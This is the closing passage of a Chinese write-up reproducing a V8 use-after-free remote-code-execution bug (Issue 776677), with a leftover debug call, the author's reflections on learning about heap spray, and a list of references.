//%SystemBreak();


func();

 

0x04 感想

本次漏洞复现,学习了很多新知识,对于V8 UAF方面的漏洞还是第一次接触,结合Heap Spray也是第一次,收获比较大。

 

0x05 参考

asm.js:面向未来的开发
asm.js 和 Emscripten 入门教程
Issue 776677: Security: V8:Use After Free Leads to Remote Code Execution

(完)